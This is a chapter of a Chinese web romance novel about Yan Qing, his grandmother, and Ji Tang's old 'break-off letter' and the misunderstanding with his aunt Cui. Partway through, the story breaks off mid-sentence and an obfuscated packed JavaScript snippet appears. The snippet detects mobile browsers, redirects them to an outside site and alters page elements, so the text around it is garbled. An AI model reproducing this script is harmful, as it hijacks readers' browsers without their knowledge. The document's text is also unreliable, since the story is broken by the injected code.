圆月高悬,近乎酉时言清才回到府中。
途径言老夫人的院里,灯火通明,念及祖母还未安寝,又拐个弯走到凌风院去给她请安。
行至廊下,远远听到房间里传出一道尖利的笑声,顺着声音望去,恰好碰到从祖母房里出来的崔氏。
“大伯母。”
崔氏转着腕上新得的镯子,神情说不出地得意,道:“栩之回来了。”
言清点头示意,没有多言。
只是经过她身旁时闻到那股奇怪的味道,略微皱眉。
十年前言夫人因病去世,言父一个人又当爹又当娘,加上朝廷公务繁多,时常脱不开身照料他,便将言清送到汴京老宅与祖父母一同生活。
一晃多年,当年倔强的小少年也已长大成人,纵然外头都说言清是个高不可攀的性子,只有田氏知晓自己这个长孙是个面冷心热的人。
见疼爱的孙儿过来,田氏放下手中的画册,眯着眼睛上下打量一圈,继而笑道:“怎么,出师不利?”
“又被人拒绝了?”
“祖母。”言清轻咳一声,耳廓已然染上一层红晕,没有回答她的问题,反问道:“祖母今日都做了些什么?”
“我还能做什么?”田氏嗔道:“自打你祖父去世后,你又不在汴京,这偌大的院子里也就只有我一个老婆子,成日里不是赏花就是听翠梅给我讲话本子,要多无趣有多无趣。”
“你不在这几年,隔壁的小丫头时不时还来看看我,结果你一回来,人家来都不来了。”
言清失笑,瞧祖母精神矍铄的样子便知她在说玩笑话。
“棠棠若是我孙媳妇多好啊,模样好,性子好,哪哪都好。”说罢,田氏扭头嫌弃地瞥了一眼:“不像你,没出息!”
“长了个冰块脸,不长嘴!”
言清:“......”
“你都已经是及冠的年纪了,官运亨通,前途一片光明,唯有这婚事八字还没一撇,叫人如何不急?”
田氏见他沉默,继续数落着:“你若有你祖父当年又争又抢的风范,我连曾孙子都抱上了,想当年你祖父在汴京也是赫赫有名的美男......”
言清知晓,祖母这是又开始回忆起自己年轻与祖父的恩爱故事了。
这些事几乎每年都要拿出来说几遍,他已经见怪不怪,生怕她再提及自己出师不利这个事,岔开话题道:“听闻大伯一家搬进来了。”
见他语气生硬冷淡,田氏原本要说出的话又咽了回去,有些心虚:“你大伯这些年做生意一直亏损,你堂兄又是个不争气的,若我再不施以援手,他们一家子的日子可怎么过......”
言清没再追问下去。
祖母的事,他不会过多参与。
田氏从枕头下掏出那本画册递到他手里:“你呀,不懂就去学,不会就去问,鼻子下长得是什么?出气的吗?”
“你要庆幸那探花郎主动与纪家退亲,不然等你回来,呵呵,怕是直接喝棠棠的喜酒了。”
听到喜酒二字,言清捏着画册的动作一顿,心情莫名烦躁起来。
定睛看去,画册上四个明晃晃的大字——《碾玉观音》
他不解道:“这是何物?”
“这是汴京如今最时兴的画册,叫什么小人书。我这老眼昏花,看不清密密麻麻的文字,看这画倒是有趣。”田氏指着其中一幅图:“你瞧,这画上的人倒像是真的一样。”
言清随意翻开几页,熟悉的画风映入眼帘,心下了然。原本皱起的眉头又放下,他抱着画册,起身离开。
也许在这上面可以下些功夫。
回到自己的书房,他从书匣里找出三年前那封“绝交信”。
随着时间的流逝,上面的字迹已经有些模糊,但他仍旧清楚记得里面的内容。
烛火映照着男人俊美的侧脸,言清低头反复品鉴这封信,埋藏在心里的疑惑再次涌上心头。
他回了信,却没有得到回应,反而得知纪棠与杨泉定亲的消息。
到底是哪里出了问题?
“所以说,这到底是绝交信还是表白信?”
“当然是绝交信!”纪棠啃着肉饼,咬下来一块塞到大黄嘴里:“我写得还不够明显吗?”
大黄摇着尾巴往她身上蹭来蹭去,纪棠干脆把肉饼都给它扔了过去:“我让竹桃把这封信交给他之后,他就再也没来找过我。”
方萋萋支着下巴,眉宇间似有不解。
她承认,第一眼见到这封“绝交信”,还以为是纪棠在胁迫言清上门提亲的意思。
哪有人绝交信是这样写的?
字字泣血锥心,仿佛下一秒就要控诉他是个负心汉了……
可仔细一想,以她这个榆木脑袋若是能开窍,反倒是奇怪。
“如今言清身为京兆府少尹,你当真不怕得罪他?”
“这有什么?”纪棠摆摆手,浑不在意地说道:“前竹马罢了。”
“况且当年是他通过旁人之口叫我不要来打扰他的。”
指尖触碰到微烫的杯沿,纪棠神游了一会儿,继续道:“你可还记得三年前我那次生病?”
方萋萋默默把茶水添满:“记得,连着高烧三日,把纪夫人都吓坏了。”
那是春闱放榜后的第二日。
自打言清开始为科举做准备,纪棠就很少像小时候那样缠着他玩,算下来,两人见面的时间并不算多。
首辅的长孙高中状元,饶是言家再低调也抵不住前来道贺之人,往来宾客络绎不绝,连将军府门口都热闹非凡。
纪棠听闻考试期间吃不到好吃的,便泡在小厨房好几日,跟府中厨娘学做了一道透花糍。
蒙蒙细雨中,她一手撑着油纸伞,一手提着食盒扣响言府大门。
还未来得及通传,就在门口见到言清的大伯母崔氏。
言清的大伯一家常年在外生活,鲜少回京,纪棠从未见过他们,念及近日言家人多眼杂,她不想失了爹娘的脸面,礼貌问道:“请问言公子在家吗?”
崔氏随意地接过纪棠手里的食盒,粗略扫了一眼,见纪棠穿着打扮朴素,笑道:“近日来寻我侄儿的姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592623|171897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还真是多。”
“走之前他还说,若是有什么乱七八糟不相干的人来送什么香囊、扇坠,叫我们一并回绝了就是,姑娘还是请回吧,往后也莫要来打扰了。”
崔氏眼神不断在她身上瞟来瞟去,就差在脸上写着“说的就是你”。
见纪棠不语,她掩着帕子轻笑:“不过这送吃食的倒是头一个,我那侄儿最不喜欢吃甜的了,姑娘的好心怕是难以收下,为了避免浪费,我就不客气了......”
纪棠并非愚钝,很快听出她话里的嘲讽之意,但她仍坚持自己前来的意图:“还麻烦您帮我通传一声。”
崔氏长叹一口气,像是十分惋惜,但说出的话夹杂着几分不屑:“我弟妹去世得早,二弟又常年在外疲于奔波,这话也就只能我这个做伯母的开口提一嘴。”
“言清这般年纪便高中状元,将来前途无可限量,保不准都能越过他祖父去。瞧姑娘的样子还尚未及笄,这么上赶着给自己找男人可不是什么好事。”
话里话外句句都是讽刺,纪棠正欲反驳,目光触及到崔氏颈上的红玉老虎,她说不出话了。
玉质老虎通体血红,是她两年前送给言清的生辰礼。
言清对什么都是淡淡的,唯独对这个憨态可掬的小老虎有几分兴趣,纪棠一度认为是因为他属虎才会一直戴着。
如今骤然出现在另一人身上,若非言清亲自授意,以他的性子,旁人谁敢动他的东西?
她道:“夫人的红玉颜色倒是好看。”
崔氏沾沾自喜:“这是我侄子孝敬我的......”
雨势渐大,一道闪电划过天际。
纪棠心里发酸,刚走出几步,又回过头把崔氏手里的食盒拿走。
“忘记说了,这糕点我家大黄也爱吃。”
她忙活了好几日的心意,某人不识相也就罢了,可别再被这种不相干的人糟蹋。
那日过后,纪棠生了一场病。
高烧连续三日,一连看了几个大夫都束手无策,纪夫人吓个不轻,最后只好寄希望于神明,整日烧香拜佛。后经玄悟大师提点,开始为女儿物色名字里带“泉”的儿郎。
大病初愈的第一天,杨家上门提亲。
同天,纪棠把自己关在屋子里,给言清写了一封《绝交信》。
她并没有完全相信言清大伯母的话,比起用耳朵听一个人,她更喜欢自己解决问题,因而信上字里行间充斥着对言清的控诉和不满。
谁知这封信送出去之后,言清仍然迟迟没有来找她的意思。
纪棠更生气了。
再后来,言清接到圣人调派,远赴青州,期间杳无音讯。而她娘与杨家心照不宣地定下了两家的婚事。
听到这,方萋萋不禁有些伤感:“你们的故事,还真是跌宕起伏。”
她虽比纪棠大不了几个月,但性子沉稳不少,对于这些女儿家的小心思更为敏感。
想了一会儿,试探问道:“可我听闻,言老夫人曾经来将军府上门提亲过?”
“你怎知,不是言清的意思?”